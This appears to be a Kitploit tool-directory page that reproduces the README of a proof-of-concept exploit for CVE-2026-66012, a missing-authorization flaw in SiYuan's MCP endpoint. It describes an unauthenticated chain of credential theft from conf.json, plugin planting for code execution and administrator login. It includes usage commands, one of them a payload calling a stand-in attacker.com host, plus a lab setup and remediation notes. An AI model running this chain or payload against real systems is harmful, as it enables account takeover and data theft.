Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization — Unauthenticated administrator takeover exploit for CVE-2026-66012 using MCP missing authorization to exfiltrate credentials and achieve remote code execution. | Kitploit
Tools/GitHubGitHub/hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

Unauthenticated administrator takeover exploit for CVE-2026-66012 using MCP missing authorization to exfiltrate credentials and achieve remote code execution.

View Repository
125 days agoNot yet reviewed

CVE-2026-66012 — SiYuan MCP Unauthenticated Administrator Takeover

Proof of Concept for CVE-2026-66012 (CVSS 10.0 Critical), a missing-authorization vulnerability in SiYuan's MCP (Model Context Protocol) endpoint that allows an unauthenticated attacker to achieve administrator takeover and remote code execution when the Publish server is enabled in anonymous mode.

Vulnerability Summary

FieldValue
CVECVE-2026-66012
CVSS 3.110.0 Critical
CWECWE-862 — Missing Authorization
AffectedSiYuan < v3.7.2
Fixedv3.7.2 (commit df51c2bda696)
ReporterNguyen Van Hiep (@hypnguyen1209), MBBank

Root Cause

Three defects compose into the attack chain:

  1. POST /mcp is registered with model.CheckAuth only — no CheckAdminRole or CheckReadonly. Any valid JWT (including Reader-scoped) can invoke all 31 MCP tools.
  2. The tool dispatcher (handler.go) calls tools without inspecting the caller's role.
  3. The Publish reverse proxy injects an anonymous RoleReader JWT into every request when Publish.Auth.Enable=false, converting the missing-authorization bug into an unauthenticated one.

Attack Chain

  1. MCP handshake via POST /mcp on the Publish port (no credentials)
  2. Read conf/conf.json → extract accessAuthCode, api.token, cookieKey
  3. Plant a plugin at data/plugins/pwn/ → RCE on next desktop launch via nodeIntegration:true
  4. Admin login on port 6806 using the stolen accessAuthCode

Prerequisites

  • Python 3.8+
  • requests library (pip install requests)
  • Docker 20.10+ (for lab setup only)

Usage

root@kitploit:~
# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808

# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"

# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin

Lab Setup

For authorized testing only. Set up a vulnerable instance locally:

root@kitploit:~
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"

# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode=labpass-9f4c1a --lang=en_US

sleep 6

# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"

Expected Output

root@kitploit:~
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================

[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n

[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
    accessAuthCode: labpass-9f4c1a
    cookieKey: zhia862a5vfvraau
    api_token: nsnt2m0n4lwv2a43

[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
    Payload executes on next desktop launch

[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
    Token: lqfhx...

=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================

Remediation

Upgrade to SiYuan v3.7.2 or later. The fix (commit df51c2bda696) applies:

  1. CheckAdminRole + CheckReadonly middleware on /mcp route
  2. Explicit block on conf/conf.json access in the file tool
  3. Publish proxy path allowlisting (admin paths return 401 for anonymous users)

References

  • GHSA-cvhv-7xhj-xjp8
  • NVD CVE-2026-66012
  • Fix commit df51c2bd
  • VulnCheck Advisory

Disclaimer

This PoC is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The authors are not responsible for any misuse of this code.

Download Tool